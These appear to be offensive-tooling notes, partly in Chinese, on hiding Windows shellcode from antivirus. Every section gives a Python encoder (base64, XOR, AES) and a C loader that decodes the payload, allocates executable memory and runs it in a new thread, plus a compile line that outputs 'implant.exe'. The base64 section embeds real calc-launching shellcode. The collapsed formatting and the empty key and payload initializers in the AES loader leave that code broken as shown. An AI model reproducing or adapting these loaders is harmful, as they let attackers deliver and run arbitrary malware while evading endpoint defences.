payload-encoding-base64
生成payload bin文件后,certutil -encode calc.bin calc.b64 粘贴编码后的文件到代码里
#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <Wincrypt.h>#pragma comment (lib, "Crypt32.lib")unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";unsigned int calc_len = sizeof(calc_payload);int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {DWORD outLen;BOOL fRet;outLen = dstLen;fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);if (!fRet) outLen = 0; // failedreturn( outLen );}int main(void) {void * exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;// Allocate new memory buffer for payloadexec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);printf("\nHit me 1st!\n");getchar();// Decode the payload back to binary formDecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);// Make the buffer executablerv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);printf("\nHit me 2nd!\n");getchar();// If all good, execute!if ( rv != 0 ) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;}
@ECHO OFFcl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
payload-Encryption
XOR
import sysKEY = "mysecretkeee"def xor(data, key):key = str(key)l = len(key)output_str = ""for i in range(len(data)):current = data[i]current_key = key[i % len(key)]output_str += chr(ord(current) ^ ord(current_key))return output_strdef printCiphertext(ciphertext):print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')try:plaintext = open(sys.argv[1], "rb").read()except:print("File argument needed! %s <raw payload file>" % sys.argv[0])sys.exit()ciphertext = xor(plaintext, KEY)print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void XOR(char * data, size_t data_len, char * key, size_t key_len) {int j;j = 0;for (int i = 0; i < data_len; i++) {if (j == key_len - 1) j = 0;data[i] = data[i] ^ key[j];j++;}}int main(void) {void * exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;unsigned char calc_payload[] = {0x91,0x90};//unsigned int calc_len = sizeof(calc_payload);char key[] = "mysecretkeee";// Allocate a buffer for payloadexec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);printf("\nHit me 1st!\n");getchar();// Decrypt (DeXOR) the payloadXOR((char *) calc_payload, calc_len, key, sizeof(key));// Copy the payload to allocated bufferRtlMoveMemory(exec_mem, calc_payload, calc_len);// Make the buffer executablerv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);printf("\nHit me 2nd!\n");getchar();// If all good, launch the payloadif ( rv != 0 ) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;}
@ECHO OFFcl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
AES
import sysfrom Crypto.Cipher import AESfrom os import urandomimport hashlibKEY = urandom(16)def pad(s):return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)def aesenc(plaintext, key):k = hashlib.sha256(key).digest()iv = 16 * '\x00'plaintext = pad(plaintext)cipher = AES.new(k, AES.MODE_CBC, iv)return cipher.encrypt(bytes(plaintext))try:plaintext = open(sys.argv[1], "r").read()except:print("File argument needed! %s <raw payload file>" % sys.argv[0])sys.exit()ciphertext = aesenc(plaintext, KEY)print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <wincrypt.h>#pragma comment (lib, "crypt32.lib")#pragma comment (lib, "advapi32")#include <psapi.h>int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {HCRYPTPROV hProv;HCRYPTHASH hHash;HCRYPTKEY hKey;if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){return -1;}if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){return -1;}if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){return -1;}if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){return -1;}if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){return -1;}CryptReleaseContext(hProv, 0);CryptDestroyHash(hHash);CryptDestroyKey(hKey);return 0;}int main(void) {void * exec_mem;BOOL rv;HANDLE th;DWORD oldprotect = 0;char key[] =unsigned char calc_payload[] =unsigned int calc_len = sizeof(calc_payload);// Allocate memory for payloadexec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);printf("\nHit me 1st!\n");getchar();// Decrypt payloadAESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));// Copy payload to allocated bufferRtlMoveMemory(exec_mem, calc_payload, calc_len);// Make the buffer executablerv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);printf("\nHit me 2nd!\n");getchar();// If all good, launch the payloadif ( rv != 0 ) {th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);WaitForSingleObject(th, -1);}return 0;}
@ECHO OFFcl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
